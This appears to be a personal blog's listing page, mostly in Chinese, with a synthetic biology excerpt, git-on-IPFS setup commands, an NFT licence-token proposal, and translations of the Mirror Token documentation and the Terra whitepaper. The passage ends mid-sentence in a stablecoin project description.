图 1-6 展示了抽象的层次结构。最高抽象层是系统,即我们的蜂窝黑匣子。在该系统中,我们可能对开发具有特定功能的设备感兴趣,例如感应环境化学物质并产生特定的输出气味作为响应。当我们决定我们希望我们的设备如何工作时,我们可以开始考虑创建每个设备所需的不同部分;例如,一种感知环境化学物质的方法以及一种控制气味输出的反应方法。最后,在抽象层次结构的最低级别——根本不是抽象的——是我们手头需要作为部分使用的实际基因序列。通过将设计过程分解为这些不同的抽象层,我们将问题分成可以更有效地解决的小块。我们将详细介绍这些抽象级别中的每一个,并在“生物设计基础”一章中提供如何在设计过程中实现它们的具体示例。


FIGURE 1-6

图 1-6 抽象层次结构。抽象可以支持复杂的系统设计。这种抽象层次是可用于合成生物学的众多层次之一。这里的最高抽象级别是整个系统,然后可以将其分解为由某些部分组成的特定设备。这里最细粒度的抽象级别描述了实现设计所需的 DNA 序列。


包起来

FIGURE

在本章中,我们专注于合成生物学的力量,以产生可以提供有用产品或服务的新系统。我们介绍了合成生物学的基本概念,解释了该领域与传统生物化学和分子生物学的不同之处,以及一些来自已建立工程领域的基本原则为合成生物学家设计和构建活生物技术的方式提供了依据。合成生物学所支持的工程和设计方法也具有更广泛的意义。正如物理学家理查德·费曼所说:“我不能创造的东西,我不明白。”尽管我们在理解生物系统方面确实取得了长足的进步,但我们还不能建立全新的系统。即使是最基本的生物过程和系统,仍有很多东西需要学习,合成生物学也为这项工作提供了一个强大的新工具。

额外阅读和资源

Read More

2022-03-19
Git-style Repository on IPFS

In [ ]:
cd ~ && git clone --bare https://github.com/seii-saintway/demo-ga
In [ ]:
cd ~/demo-ga && git update-server-info
In [ ]:
git unpack-objects < objects/pack/*.pack
In [ ]:
rm -f objects/pack/*
Read More

2022-03-10
CQLT: Exploring a New Way to Tokenize Academic Publishing

复制引用许可代币:探索学术论文发表的代币化新方法

我们需要作为 NFT 复制引用许可证明的 ERC-1155 代币 CQLT。对这种复制引用许可币 CQLT 本身的需求是从 NFT 版权证明的需求中衍生而来的。它的发行由 NFT 所有者完全控制。它的精度为个位数,总量为人类人口数量,或者限量,或者不限总量。拥有一个这种复制引用许可币的人就拥有对于 NFT 进行一次复制引用的权利。NFT 作为异质代币,具有唯一性,流动性差,只在收藏品拍卖市场进行交易。

We need the ERC-1155 Copy and Quote License Token (CQLT) as a proof of NFT Copy and Quote License. The need for CQLTs is derived from the need for proof of copyright in NFTs. Its issuance is fully controlled by the NFT owner. Its precision is a single digit, and the total supply is either limited or unlimited, and can be as large as the human population. The person who owns one such CQLT has the right to copy and quote the NFT once. As a Non-Fungible Token, NFT is unique and has poor liquidity, and is only traded in the collectible auction market.

Read More

2022-03-06
Mirror Token

Mirror Token (MIR)

原文:https://docs.mirror.finance/protocol/mirror-token-mir


镜像代币MIR)是镜像协议的治理代币。目前,它必须被质押才能对活跃的提案进行投票,并且需要作为押金才能进行新的治理提案。在 Mirror 的未来迭代中,它将为协议提供进一步的用途,增加其效用和价值。

持有 MIR 代币的用户还可以通过从协议中的 CDP 头寸提取抵押品获得 MIR 奖励。

MIR 还用于激励用户通过质押 LP 代币来获得收益,这些 LP 代币是通过为 MIR 和 mAssets 提供流动性而铸造的。通过年度通胀所新铸造的 MIR 用来向用户支付收益,这会逐渐增加 MIR 的总供应量,直到第 4 年年底。


镜像代币供应

计划在 4 年内分发总共 370,575,000 个 MIR 代币。除此之外,不会再有新的 MIR 代币被引入供应。

累积分配时间表(以百万计)

创世纪 Y1 Y2 Y3 Y4
UNI空投 9.15 9.15 9.15 9.15 9.15
Luna 质押空投 9.15 9.15 9.15 9.15 9.15
Luna 质押奖励 0 18.3 18.3 18.3 18.3
mAsset LP 质押 0 89.2125 133.81875 156.121875 167.2734375
MIR LP 质押 0 20.5875 30.88125 36.028125 38.6015625
社区池 36.6 36.6 54.9 91.5 128.1
代币总供应 54.90 183.00 256.20 320.25 370.575
年通货膨胀率 (%) - 233.33% 40.00% 25.00% 15.71%

Genesis Token Distribution

镜像协议创世时共有 54.9M 个代币可用。这些代币的分配方式如下:

  • UNI 空投:16.66%(9.15M)代币将空投给 UNI 持有者。
  • LUNA 质押者空投:16.66%(9.15M)代币将空投给 LUNA 质押者。
  • 社区池:66.66% (36.6M) 代币将分配给社区池。

Final Token Distribution

由于通货膨胀,MIR 代币的总供应量将增加 4 年,直到总代币供应量达到 370.575M

第 4 年末的分配结构如下所示:

  • 空投:最初分配给 UNI 持有者和 LUNA 质押者的空投数量现在将占代币总供应量的 4.9%(18.3M)。
  • LUNA 质押奖励:4.9%(18.3M)将在镜像协议启动后的第一年分配给 LUNA 质押者。 MIR 将仅在第一年每 100,000 个区块(大约每周一次)分发给 Luna 质押者,从区块高度 920,000 开始。将每 100,000 个区块拍摄一次快照,以确定谁有资格获得质押奖励分配。
  • mAsset LP Staking:到第 4 年年底,45.1% (167.27M) 代币将分配给所有 mAsset 和 mAsset (mETH) 质押池。代币每天分配给每个质押池(最初每个 Mirror 和 mETH 13 对),基于与其他资产相比,它们的权重
  • MIR LP Staking:到第 4 年底,10.4% (38.6M) 代币平均分配到 MIR-UST 和 MIR-UST (mETH) 质押池。MIR-UST 对的初始权重为 300,大于权重 mAsset 数量(第一批 mAsset 有 100 个,列入白名单的 mAsset 有 30 个权重)。
  • 社区池:到第 4 年年底,将有 34.6%(128.1M)的 MIR 总供应量分配给社区池。

分配率(通货膨胀)

MIR 代币的通货膨胀率被设计为每年逐渐下降,直到在第 4 年年底达到 370.575M。在第 4 年结束后,将不再通过通货膨胀铸造 MIR 代币。


MIR 质押奖励

本节讨论 MIR 代币的质押奖励,这些奖励来自用于从市场回购 MIR 的交易费用。质押 LP 和 sLP 代币也会产生 MIR 奖励,这些奖励直接来自每个区块创建的新 MIR 代币。点击此处了解详情。

来自协议费用

MIR 代币质押者在每个区块收到 MIR 代币奖励,协议费用是从 CDP 提款产生的。协议费用从 CDP 抵押品中收取,并在发送到 Collector 合约后出售给 TerraUSD,以通过 Terraswap 购买 MIR。然后将 MIR 代币作为奖励分配给 MIR 质押者和选民,并按总股份的百分比进行分配。这个过程通过产生购买压力来平衡新 MIR 的产生。

来自提案创建费

每当创建新的治理提案时,都必须支付 MIR 代币的初始押金。如果投票未达到投票法定人数,则该押金将按比例分配给所有 MIR 质押者。

来自投票奖励

根据尚未达到投票法定人数的投票产生的协议费用和投票创建费用,voter_weight 用于确定在正在进行的投票中投票的用户之间分配的 MIR 代币数量。如果包括质押和投票奖励的总 MIR 治理奖励是 $R_{total}$ 是,

$$R_{passive}+R_{vote}$$

这里 $R_{passive}$ 是未投票的 MIR 质押者的奖励,并且 $R_{vote}$ 是对正在进行的提案已经投票了的用户的奖励。如果 voter_weight 是 $W_{vote}$, 并且对于第 $i$ 个提案,个人和全体所投的 MIR 是 $m_{\text{i}}$ 和 $M_{\text{i}}$,投票奖励 $R_{\text{vote}}$ 是,

$$\sum_{i=1}^n \frac{m_{\text{i}}}{M_{\text{i}}} \frac{W_{\text{vote}}R_{\text{gov}}}{n}$$

年利率计算

注意由于大多数 mAssets 的协议费用仅在其基础现实世界资产的交易时间内产生,因此在周末和节假日分配的实际奖励会低得多。

Mirror Web App 显示 MIR 质押奖励的年度百分比率。由于协议费用的波动性,MIR 质押 APR 计算使用过去 15 天每天的平均奖励

如果第 $i$ 天给 MIR 质押者的奖励为 $r_i$,总 MIR 质押量为 $M$,MIR 质押(365 天)的年化百分比为,

$${\sum_{i=1}^{15}{m_i} \over M} \times 365$$

其中应用了最近 15 天的奖励分配信息。此 APR 是在假设用户已对所有正在进行的治理提案进行投票的假设下计算的。

Read More

2022-03-04
Terra 白皮书

Terra Money:稳定性和采用

Evan Kereiakes、Do Kwon、Marco Di Maggio、Nicholas Platias

2019 年 4 月

原文:Terra Whitepaper

摘要

虽然许多人看到价格稳定的加密货币结合了法定货币和比特币的优点,但没有多少人有明确的计划采用这种货币。由于货币作为交换媒介的价值主要受其网络效应驱动,因此成功的新数字货币需要最大限度地采用才能发挥作用。我们提出了一种加密货币 Terra,它既价格稳定又受增长驱动。它通过稳定的挖矿激励措施实现弹性货币供应,实现价格稳定。它还使用其挖矿业务产生的铸币税作为交易激励,从而促进采用。法币经济和区块链经济都需要去中心化、价格稳定的货币协议。如果这样的协议成功,那么它将作为加密货币的最佳用例产生重大影响。

1 引言

加密货币的价格波动性是学术界和市场观察者研究得很透彻的问题(例如,参见 Liu 和 Tsyvinski,2018 年,Makarov 和 Schoar,2018 年)。大多数加密货币,包括比特币,都有预定的发行时间表,加上强烈的投机需求,导致价格剧烈波动。比特币的极端价格波动是其作为交换或价值储存媒介被采用的主要障碍。直观地说,没有人愿意用一种可能在几天内价值翻倍的货币进行支付,也没有人愿意用在交易结算之前其价值可能会大幅下降的货币进行支付。当交易需要更多时间时,问题会更加严重,例如对于抵押贷款或雇佣合同等延期付款,波动性会严重损害合同的一方,使得在这些环境中使用现有数字货币的成本高得令人望而却步。

Terra 协议解决这些问题的核心理念是,具有弹性货币政策的加密货币将保持稳定的价格,保留比特币的所有抗审查性,并使其可用于日常交易。然而,价格稳定性不足以广泛采用一种货币。货币本质上具有强大的网络效应:除非有足够数量的商户准备好接受,否则客户不太可能转向新货币,但与此同时,商户没有理由投入资源和教育员工接受新货币除非有大量客户需求。出于这个原因,比特币在支付领域的采用仅限于自行投资于加密货币的小企业的所有者。我们的信念是,虽然弹性货币政策是解决稳定性问题的方法,但有效的财政政策可以推动采用。此外,Terra 协议通过有效的财政支出制度为用户加入网络提供了强有力的激励,该制度由财政部管理,多个刺激计划竞争融资。也就是说,来自社区参与者的提案将由生态系统的其他部分进行审查,一旦获得批准,他们将获得资金,以增加采用率并扩大潜在的用例。Terra 协议在促进稳定性和采用之间取得平衡,代表了法定货币作为支付和价值储存手段的有意义的补充。

本文的其余部分安排如下。我们首先讨论协议以及如何通过校准矿工需求和使用原生挖矿 Luna 代币来实现和保持稳定性。然后,我们深入研究如何采用稳定的挖矿激励措施来消除经济性波动。最后,我们讨论了如何采用 Terra 的财政政策来有效激励推动代币的采用。

2 多法币挂钩货币政策

稳定币机制必须回答三个关键问题:

  • 如何定义价格稳定性?稳定性是一个相对的概念;为了吸引尽可能广泛的受众,稳定币应该与哪种资产挂钩?
  • 如何衡量价格稳定性?代币价格对于 Terra 区块链来说是外生的,有效、防腐败的价格反馈对于系统正常运行是必要的。
  • 如何实现价格稳定?当代币价格偏离目标时,系统需要一种方式向市场施加压力以使价格回到目标。

本节将详细说明 Terra 对上述问题的回答。

2.1 定义相对于区域法定货币的稳定性

稳定币的存在目标是保持其购买力。鉴于大多数商品和服务都是在国内消费的,因此创建跟踪当地法定货币价值的加密货币非常重要。尽管美元主导着国际贸易和外汇交易,但对于普通消费者来说,美元相对于他们所选择的记账单位表现出不可接受的波动性。

认识到货币的强大区域性,Terra 旨在成为一个与世界主要货币挂钩的加密货币家族。创世之后不久,该协议将发行与美元、欧元、人民币、日元、英镑、韩元和国际货币基金组织特别提款权(IMF SDR)挂钩的 Terra 货币。随着时间的推移,更多的货币将通过用户投票添加到列表中。TerraSDR 将成为该家族的旗舰货币,因为它对任何一种法定货币的波动性最低(Kereiakes,2018 年)。TerraSDR 是交易费用、矿工奖励和刺激赠款的计价货币。

然而,重要的是 Terra 货币能够获得共享流动性。出于这个原因,系统支持 Terra 货币之间以市场汇率进行的原子互换。用户可以立即以有效的韩元/美元汇率将 TerraKRW 换成 TerraUSD。这允许所有 Terra 货币共享流动性和宏观经济波动;一种货币的需求下降可以很快被其他货币吸收。因此,我们可以推断一组 Terra 货币的稳定性;在本文的其余部分,我们将松散地将 Terra 称为单一货币。随着 Terra 的生态系统添加更多货币,其原子交换功能可以成为跨境交易和国际贸易结算的即时解决方案。

2.2 用矿工预言机衡量稳定性

由于 Terra 货币在二级市场的价格对区块链来说是外生的,因此系统必须依靠去中心化的价格预言机来估计真实汇率。我们将价格预言机的机制定义如下:

  • 对于货币集合中的任何 Terra 子货币 C = TerraKRW, TerraUSD, TerraSDR… 矿工提交他们所认为的目标法定货币的当前汇率的投票。
  • 每 n 个区块,统计投票,将加权中值作为真实汇率。
  • 一定数量的 Terra 会奖励给那些在被选出的中位数 1 个标准差范围内投票的人。那些在此范围之外投票的人可能会受到削减其质押的惩罚。每次投票时,系统可能会校准受到惩罚和奖励的比例,以确保有足够多的矿工投票。

在实施去中心化预言机时已经提出了几个问题,但其中最主要的问题是选民有可能通过协调虚假价格投票来获利。将投票限制在对系统具有强烈既得利益的特定用户子集,即矿工,可以大大降低这种协调的可能性。价格预言机上的成功协调事件将导致矿工质押价值的损失比任何潜在收益都要高得多,因为 Luna 质押对系统是时间锁定的。 预言机还可以在添加和弃用 Terra 货币方面发挥作用。当预言机投票支持新的 Terra 货币满足提交阈值时,该协议可能会开始支持新的 Terra 货币。同样,在几个时期内未能获得足够数量的预言机投票可能会触发 Terra 货币的弃用。

2.3 通过一致的挖矿奖励实现稳定性

一旦系统检测到 Terra 货币的价格偏离其挂钩,它必须施加压力以使价格正常化。与任何其他市场一样,Terra 货币市场遵循挂钩货币的简单供需规则。即:

  • 在所有条件相同的情况下,收缩货币供应量将导致更高的相对货币价格水平。也就是说,当价格水平低于目标时,充分减少货币供应将将使价格水平恢复正常。
  • 在所有条件相同的情况下,扩大货币供应量将导致较低的相对货币价格水平。也就是说,当价格水平高于目标时,充分增加货币供应量将使价格水平恢复正常。

当然,紧缩货币供应不是免费的。像任何其他资产一样,资金需要从市场上购买。中央银行和政府通过各种机制承担锚定法币系统的收缩成本,包括干预、发行债券和短期工具从而产生利息支出,以及提高货币市场利率和准备金率要求从而损失税收。换句话说,中央银行和政府吸收了它们发行的挂钩货币的波动性。 类似地,Terra 矿工吸收了 Terra 供应的波动性。

  • 在短期内,矿工通过挖矿权利的稀释来吸收 Terra 收缩成本。在收缩期间,系统会铸造和拍卖更多的挖矿权利来回购和销毁 Terra。这会收缩 Terra 的供应,直到其价格回到挂钩,并暂时导致挖矿权利的稀释。
  • 从中长期来看矿工将获得增加的挖矿奖励。一、系统继续回购挖矿权利,直到达到固定目标供应,从而对可用挖矿权利产生长期可靠性。其次,系统增加了挖矿奖励,后面会详细介绍。

总之,矿工在短期内承担 Terra 波动的成本,同时在长期内得到补偿。与普通用户相比,矿工对系统的稳定性有着长期的既得利益,拥有投资的基础设施、训练有素的员工和高转换成本的商业模式。本节的其余部分将讨论该系统如何吸收短期波动并为 Terra 矿工创造稳定的长期激励。

2.4 矿工吸收短期 Terra 波动

Terra 协议在权益证明(PoS)区块链上运行,矿工需要质押原生加密货币 Luna 来挖掘 Terra 交易。在每个区块周期,协议从一组质押矿工中选出一个区块生产者,该区块生产者负责通过聚合交易、达成矿工之间的共识以及确保消息在短时间内具有高容错性地正确分发来产生下一个区块所需的工作。

区块生产者选举由活跃矿工的 Luna 质押大小加权。因此,Luna 代表 Terra 网络中的挖矿权利。类似于比特币矿工的哈希算力代表按比例生成比特币区块的几率,Luna 质押代表按比例生成 Terra 区块的几率。

Luna 也是抵御 Terra 价格波动的最直接防御措施。该系统使用 Luna 为 Terra 定价,同意成为希望以 Terra 的目标汇率交换 Terra 和 Luna 的任何人的对手方。更具体地说:

  • 当 TerraSDR 的价格 < 1 SDR 时,用户和套利者可以向系统发送 1 TerraSDR 并获得价值 1 SDR 的 Luna。
  • 当 TerraSDR 的价格 > 1 SDR 时,用户和套利者可以向系统发送价值 1 SDR 的 Luna 并获得 1 TerraSDR。

无论市场状况如何,系统都愿意尊重目标汇率,从而使 Terra 的市场汇率保持在目标汇率附近的窄幅区间。当 1 TerraSDR = 0.9 SDR 时,套利者可以通过从系统中将 TerraSDR 换成价值 1 SDR 的 Luna 来获取无风险利润,而她可以从公开市场获得价值 0.9 SDR 的资产。同样,当 1 TerraSDR = 1.1 SDR 时,她也可以通过将价值 1 SDR 的 Luna 交到系统中,从而获得价值 1.1 SDR 的 TerraSDR,再次击败公开市场的价格,来获取无风险利润。

系统通过 Luna 为 Terra 定价提供资金:

  • 通过购买 1 TerraSDR,协议铸造并出售价值 1 SDR 的 Luna
  • 通过出售 1 TerraSDR,协议获取价值 1 SDR 的 Luna

由于铸造 Luna 以匹配 Terra 供应,波动性从 Terra 价格转移到 Luna 供应。如果不加以缓解,这种 Luna 稀释会给矿工带来问题;他们的 Luna 质押只值收缩后总可用挖矿权利的一小部分。该系统会销毁它在货币供应量扩大期间获得的 Luna 的一部分,直到 Luna 供应量达到其 10 亿平衡发行量。因此,Luna 作为一种代币,可以长期拥有稳定的需求,并按比例获得 Terra 挖矿的权利。下一节将讨论该系统如何提供稳定的挖矿激励措施,以在动荡的宏观经济周期中保持挖矿市场和 Luna 需求的长期稳定。

2.5 矿工获得长期稳定的奖励

矿工在 Terra 的安全和稳定中发挥着基础性作用。他们通过参与 PoS 共识来提供前者。它们通过吸收 Terra 需求的短期波动来提供后者。稳定的挖矿需求是安全和稳定的核心要求。为了实现这一目标,该协议旨在在所有经济条件、繁荣和萧条中提供稳定和可预测的回报。当网络能够始终如一地补偿保护它的人时,网络是最好的。

该协议有两种奖励矿工工作的方式:

  • 交易费用:所有 Terra 交易向矿工支付少量费用。费用默认为 0.1%,上限为 1%,这意味着在电子商务中用 Terra 进行交易将比使用信用卡等传统支付方式进行交易便宜得多。[1]
  • 铸币税(销毁 Luna):当对 Terra 的需求增加时,系统会反过来铸造 Terra 并获取 Luna。这称为铸币税——新铸造货币的价值减去发行成本(在这种情况下为零)。系统会销毁一部分获取的 Luna,这使得挖矿权利更加稀缺。铸币税的剩余部分进入财政部,为财政刺激提供资金。

[1]:每笔交易的费用上限为 1 SDR(在撰写本文时为 1.39 USD),这意味着较大的交易支付的费用也比传统的电汇要少得多。

为了从矿工的角度理解奖励,我们需要通过基本的计算来确定在 Terra 网络上进行长期挖矿贡献的可行性。在固定成本之后,单个挖矿权利(1 Luna)的挖矿业务的利润(或亏损)归结为奖励减去该单位的工作成本。更正式一点,在未来的工作周期 $t$ 内,单位挖矿权利的损益等于

$$P(t) = {TotalRewards(t) \over LunaSupply(t)} - UnitMiningCost(t)$$

损益之间的频繁交替——正数和负数的 $P(t)$ ——会产生高度不稳定的挖矿需求。该协议的目标是使这种计算更容易和更可预测。考虑到这一点,$P(t)$ 中的大部分不确定性归结为第一项,即单位挖矿奖励。因此,单位挖矿奖励是对网络做出长期贡献的主要考虑因素。稳定的单位挖矿奖励产生稳定的挖矿需求,而波动的单位挖矿奖励则相反。

默认情况下,总奖励(来自费用)和 Luna 的供应都存在不确定性,因此这两项都会导致单位奖励的波动。首先,当经济增长时,费用奖励往往会增加,而当经济萎缩时,费用奖励往往会减少。其次,Luna 供应量在经济增长时趋于减少(因为 Luna 因铸币税而销毁),而在经济萎缩时趋于增加(因为发行新的 Luna 以回购 Terra)。这意味着单位挖矿奖励倾向于朝着经济方向强烈波动,无论是向上还是向下。由此类推,这也适用于挖矿需求。

因此,为了创造长期稳定的挖矿需求,该协议会在所有经济条件下创造可预测的回报。为了实现这一点,该协议使用交易费用和 Luna 销毁率作为杠杆来抵抗单位挖矿奖励的变化。交易费用会影响总奖励,而 Luna 销毁率会影响 Luna 供应——这是单位挖矿奖励的两个决定因素。基本逻辑如下:

  • 如果单位挖矿奖励增加:
    • 减少费用
    • 减少 Luna 销毁
  • 如果单位挖矿奖励减少:
    • 增加费用
    • 增加 Luna 销毁

在努力消除矿工奖励的波动的同时,该协议还以稳定增长为目标,与 Terra 经济的长期增长保持一致。这是对他们长期致力于为网络服务的自然回报。

为了将这些想法正式化,我们更详细地讨论了平滑单位挖矿奖励的机制。[2]费用和 Luna 销毁率——“稳定性杠杆”——每周都会根据单位挖矿奖励的变化进行调整。我们将 Luna 销毁率定义如下:与存入财政部相比,协议使用多少部分 (%) 的铸币税来回购和销毁 Luna?设 $f_t$、$b_t$ 和 $R_t$ 分别为 $t$ 时刻的交易费用、Luna 销毁率和单位挖矿奖励。那么调整 $f$ 和 $b$ 值的规则如下:

$$f_{t+1} = (1 + g) \cdot {R_{t-1} \over R_t} \cdot f_t$$$$b_{t+1} = (1 + g) \cdot {R_{t-1} \over R_t} \cdot b_t$$

[2]:我们提出的机制略有简化。我们省略了一些细节,例如,该协议在挖矿奖励中使用移动平均线来提高稳健性,并确保在所有情况下回购相对于费用的贡献始终如一。

现在更新规则应该明确了当我们说费用(和 Luna 销毁率)抵抗单位挖矿奖励的变化时,我们的意思是:当前值 $f_t$ 乘以单位挖矿奖励的反向变化 ${R_{t-1} \over R_t}$。例如,如果单位挖矿奖励减半,则费用将相应加倍,反之,如果单位挖矿奖励加倍,费用将相应减半。结果由一个小的增长因子 $1 + g$ 来衡量,它允许与经济的长期增长率相称的单位挖矿奖励逐渐增长。

该机制在实践中的效果如何?我们已经运行了广泛的模拟来进行压力测试并在广泛的假设下对其进行改进。在下文中,我们将分享并讨论一个对机制施加重大压力并阐明其如何实现其目标的代表性示例。我们考虑了一个模拟的 10 年期间,在此期间 Terra 经济经历了快速增长和严重动荡。我们展示了该协议如何根据经济状况调整其稳定性杠杆,以及这些调整如何反过来塑造单位挖矿奖励。

In [ ]:
from IPython.display import display
from PIL import Image

display(Image.open('Terra-Whitepaper.png'))

第一张图显示了模拟的每周交易量及其年度移动平均值。交易量可以被认为是 Terra 经济的 GDP。经济经历了快速增长,随后是严重的多年衰退,在 3 年内摧毁了 93% 的 GDP,需要 6 年才能完全恢复。这种情况是一个严峻的考验——如果它描述的是比特币的价格,那将是迄今为止其历史上最长的熊市,并且在回撤方面并列最差(相当于 2011 年 6 月至 11 月的 93% 的回撤)。虽然我们认为 Terra 的采用驱动需求将比比特币的投机驱动需求稳定得多,但稳定性机制的设计旨在自信地承受比特币级别的波动。

第二张图显示了交易费用和 Luna 销毁率,这是协议用来消除单位挖矿奖励波动的两个杠杆。我们观察到两者都与经济方向相反(这也是单位挖矿奖励的默认方向)。

第三张图显示了单位挖矿奖励的年度移动平均值。我们在这个例子中设定的增长目标是每年 15%。按照设计,单位挖矿奖励经历稳定增长且波动性低,不受 Terra GDP 周期的影响。费用和 Luna 销毁率的调整成功地吸收了单位挖矿奖励的预期波动并创造了可预测的增长。这是通过平均低于 0.5% 的费用(最高 1% 的瞬时峰值)和平均大约 50% 的 Luna 销毁率(意味着平均 50% 的铸币税授予财政部)来实现的。

稳定的挖矿需求是 Terra 安全稳定的核心要求。单位挖矿奖励是矿工的首要考虑因素,也是最大的风险来源。默认情况下,它们具有高度周期性,因此具有高度不确定性。在动荡的条件下减少这种不确定性是稳定挖矿需求的关键。我们已经概述了一个简单的机制,它使用交易费用和 Luna 销毁率作为杠杆来实现这一目标,并证明了它在最严峻的经济条件下的有效性。

3 增长驱动的财政政策

尽管智能合约具有巨大的潜力,但由于其基础货币的价格波动,智能合约在采用方面面临障碍。价格波动使得智能合约无法用于大多数主流金融应用程序,因为大多数用户习惯于评估保险、信贷、抵押和工资单中的确定支出。Terra 将提供一个稳定的 dApp 平台,旨在构建使用 Terra 作为其底层货币的金融应用程序,从而使智能合约成熟为主流业务的有用基础设施。Terra 平台 DApps 将通过多样化其用例来帮助推动增长并稳定 Terra 货币家族。在本节中,我们将讨论该协议如何通过其增长驱动的财政政策来补贴更成功的应用程序的增长。

各国政府使用扩张性财政支出来刺激增长。财政支出的希望在于,原始支出引发的经济活动会形成一个反馈循环,使经济增长超过最初刺激措施中花费的金额。这个概念被支出乘数所捕捉——一美元的财政支出会产生多少美元的经济活动?支出乘数随着边际消费倾向的增加而增加,这意味着扩张性刺激的有效性与经济主体增加支出的可能性直接相关。

在上一节中,我们讨论了 Terra 铸币税是如何同时用于矿工奖励和财政部的。在这一点上,值得一提的是,财政部究竟如何实施 Terra 的财政支出政策,其核心任务是在确保 Terra 稳定的同时刺激 Terra 的增长。通过这种方式,Terra 通过将未分配用于稳定的铸币税返还给其用户来实现更高的效率。

财政部的主要重点是将来自铸币税的资源分配给去中心化应用程序(dApp)。要从财政部获得铸币税,dApp 需要注册为在 Terra 网络上运营的实体。dApp 有资格获得资金,具体取决于其经济活动和资金使用情况。

dApp 的融资程序如下:

  • dApp 向财政部申请账户;该应用程序包括元数据,例如标题、指向有关资金使用的详细页面的 URL、申请人的钱包地址以及审计和治理程序。
  • 定期投票,Luna 验证人投票决定接受或拒绝新的 dApp 资金账户申请。净投票数(赞成票减去反对票)需要超过总可用验证人权力的 $1/3$ 才能被接受。
  • Luna 验证者可以控制哪些 dApp 可以在财政部开立账户。资金本身是由验证者根据分配给每个 dApp 的权重对每个资金周期进行投票来确定的。这使财政部能够优先考虑获得最多资金的 dApp。
  • 在每次投票会议上,Luna 验证者有权要求将 dApp 列入黑名单,例如,因为它行为不诚实或未能说明其使用国库资金的情况。再次,净票数(赞成票减去反对票)需要超过总可用验证者权力的 $1/3$ 才能强制执行黑名单。被列入黑名单的 dApp 无法访问其国库账户,并且不再有资格获得资金。

为 dApp 分配资金权重的动机是通过奖励更有可能对经济产生积极影响的 dApp 来最大化刺激对经济的影响。财政部使用两个标准来确定支出分配:(1) 强劲的经济活动和 (2) 有效利用资金。具有良好采用记录的 dApp 因其持续成功而获得支持,而相对于其资金增长的 dApp 将获得更多的铸币税奖励,因为它们在有效利用其资源方面有着成功的记录。

这两个标准组合成一个权重,确定 dApp 从总资金池中获得的相对资金。例如,权重为 $2$ 的 dApp 将获得权重为 $1$ 的 dApp 的两倍资金。

我们列出资金权重方程,然后对所有部分进行详细说明:对于时间段 $t$,令 $TV_t$ 为 dApp 的交易量, $F_t$ 为收到的财政部资金。然后,协议确定该期间的资金权重 $w_t$ 如下:

$$w_t = (1 - \lambda) TV_t^* + \lambda {\Delta TV_t^* \over F_{t-1}^*}$$

符号 $*$ 表示移动平均线,因此 $TV_t^*$ 将是交易量直到时间段 $t$ 的移动平均线,而 $\Delta TV_t^*$ 将是直到时间段 $t$ 的不同长度的移动平均线的差异。例如,可以按季度制作平均窗口。最后,所有 dApp 的资金权重总和为 1。

  • 第一项与 $TV_t^*$ 成正比,即 dApp 在最近过去产生的平均交易量。这是 dApp 经济活动的指标,或者更简单地说是其微观经济的规模。
  • 第二项与 $\Delta TV_t^* / F_{t-1}^*$ 成正比。分子描述了交易量的趋势——它是最近的平均值和最近的平均值之间的差异。当其为正时,这意味着交易量呈上升趋势,反之亦然。分母是 dApp 在最近一段时间内收到的平均资金金额,包括上一时期。所以第二个术语描述了经济活动相对于过去的资金是如何变化的。总体而言,该比率的较大值捕获了 dApp 因其收到的每一美元资金而快速增长的情况。这实际上是资金计划的支出乘数,是资金效率的主要指标。
  • 参数 $\lambda$ 用于确定经济活动和融资效率的相对重要性。如果将其设置为 $1/2$,则这两项将具有相同的贡献。通过降低 $\lambda$ 的值,该协议可以更倾向于具有更大经济体的 dApp。相反,通过增加 $\lambda$ 的值,该协议可以有利于那些高效使用资金的 dApp,例如在资金较少的情况下快速增长,即使它们的规模较小。

以程序化方式分配资金的一个重要优势是,与开放式投票系统相比,它更简单、客观、透明和精简。事实上,与去中心化投票系统相比,它更具可预测性,因为用于计算资金权重的输入是透明的且移动缓慢。此外,该系统对 Luna 验证者的信任度较低,因为他们所拥有的唯一权力是确定 dApp 是否诚实并合法使用资金。

总体而言,Terra 治理的目标很简单:为对经济产生最大净影响的组织和提案提供资金。这将包括 dApp 为用户解决实际问题,增加 Terra 的采用率,从而增加 Terra 经济的 GDP。

4 结论

我们介绍了 Terra,一种稳定的数字货币,旨在补充现有的法定货币和加密货币,作为交易和存储价值的一种方式。该协议根据需求变化调整 Terra 的供应以保持其价格稳定。这是使用 Luna 实现的,Luna 是一种挖矿代币,其稳定的奖励旨在吸收不断变化的经济周期带来的波动。Terra 还通过将未投资于稳定性的铸币税返还给用户来实现有效的采用。其透明和民主的分配机制使 dApps 能够通过利用 Terra 的经济增长来吸引和留住用户。

如果比特币对加密货币的贡献是不变性,而以太坊是表达性,那么我们增加的贡献将是可用性。Terra 的潜在应用是巨大的。即刻,我们预见 Terra 将被用作在线支付的交换媒介,允许人们以其他支付方式收取的费用的一小部分自由地进行交易。由于世界开始变得越来越去中心化,我们看到 Terra 被用作 dApp 平台,价格稳定的代币经济建于其上。Terra 正在寻求成为区块链上第一个可用的货币和稳定平台,为主流用户、商家和开发人员释放去中心化的力量。

参考资料

Liu, Yukun 和 Tsyvinski, Aleh,加密货币的风险和回报(2018 年 8 月)。 NBER 工作文件第 w24877 号。可在 https://ssrn.com/abstract=3226806 获得。

Makarov、Igor 和 Schoar、Antoinette,加密货币市场中的交易和套利(2018 年 4 月 30 日)。可在 SSRN 获得:https://ssrn.com/abstract=3171204

Kereiakes、Evan,将多种法定货币纳入 Terra’s Peg 的基本原理(2018 年 11 月)。可在 https://medium.com/terra-money/rationale-for-including-multiple-fiat-currencies-in-terras-peg-1ea9eae9de2a 获得。

Taylor、John B. (1993) 。 “实践中的自由裁量权与政策规则”。卡内基-罗切斯特公共政策系列会议。 39:195-214。

Read More

2022-02-25
Declaration of the Independence of Cyberspace

The project we want to do is called “typography” or “digitypography”. The purpose is to build a new stablecoin system. $Typography and $GoodBit is the main currency pair in the system. The stabilization mechanism is to control the supply of $GoodBit by burning a certain amount of $Typography to mint one $GoodBit or minting a certain amount of $Typography to burn one $GoodBit, so that one $GoodBit can be paid on average for the purpose of copying and quoting one bit of NFT content. Specifically, the “General Knowledge Graph” should be implemented in the form of “Directed Acyclic Graph”, and version control should be implemented for all NFT content in the system. Each specific version of NFT is similar to one commit in git version control system. The owner of the NFT can issue the corresponding CQLTs (Copy and Quote License Tokens). Others can buy and burn multiple different CQLTs to mint their own NFT. This new NFT is then connected as a successor node to the corresponding NFTs of those CQLTs, so as to realize the historical proof of NFT merges and changes. This huge NFT graph is stored in a permanent way. And then all the transaction records of CQLTs and $GoodBits are used to control the issuance of $GoodBits. Specifically, we need to track the circulation of each 